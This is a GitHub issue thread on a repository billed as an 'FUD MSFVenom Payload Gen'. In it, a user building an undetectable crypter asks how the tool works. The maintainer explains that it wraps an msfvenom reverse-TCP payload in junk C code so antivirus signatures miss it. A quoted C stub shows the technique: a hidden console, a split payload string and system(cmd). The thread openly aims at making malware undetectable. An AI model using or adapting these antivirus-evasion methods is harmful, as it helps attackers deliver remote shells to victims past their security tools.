SrMilton / CatchYou-2

FUD MSFVenom Payload Gen. CatchYou 2 is a fork from CatchYou by TheLinuxChoice.
GNU General Public License v3.0
13 stars 5 forks source link

Not a I issue #3

Open Xprogrammer777 opened 2 years ago

Xprogrammer777 commented 2 years ago

Hi! I just want to know how it work. I'm trying to code a FUD crypter and here I don't understand the code.

Thank, Xprogrammer777

SrMilton commented 2 years ago

Hi @Xprogrammer777 . i don't remember exactly but looking to the code i can say it creates a simple .exe program (msfvenom with reverse tcp) using the source in "src" folder which is a lot of junk code written in c to obfuscate what really matters:

strcpy(cmd, "payload");
system(cmd);

as you can see on src2.c. The junk code is needed because most of the ant-virus search for specifics patterns on .exe commonly used on virus. In this fork i just changed the original junk code and the virus became FUD again. I hope this helps you.

Xprogrammer777 commented 2 years ago

Hi @Xprogrammer777 . i don't remember exactly but looking to the code i can say it creates a simple .exe program (msfvenom with reverse tcp) using the source in "src" folder which is a lot of junk code written in c to obfuscate what really matters:

strcpy(cmd, "payload");
system(cmd);

as you can see on src2.c. The junk code is needed because most of the ant-virus search for specifics patterns on .exe commonly used on virus. In this fork i just changed the original junk code and the virus became FUD again. I hope this helps you.

... You mean by this "junk" code, the payload is 100% FUD?

{
char cmd[50000];
  //ShowWindow (GetConsoleWindow(), SW_HIDE);
strcpy(cmd, "payload");
int **Pais,P,D,i,n,result; //P = Paises / D = Dias
    P += 5;
    D += 5;

    Pais = (int**)calloc(P, sizeof(int*));//Aloca a memoria de Pais com o tamanho da variavel P
    //for (i = 0; i < P; i++) Pais[i] = (int*)calloc(D, sizeof(int)); //Faz loop por todas as linhas alocando as colunas (os dias)
    system(cmd);

//strcat(cmd, "pa");
//strcat(cmd, "ylo");
//strcat(cmd, "ad");

return 0;
}

I hope I'm wrong.... Given everything I've read about XOR encryption, and polimorphic viruses and all the things....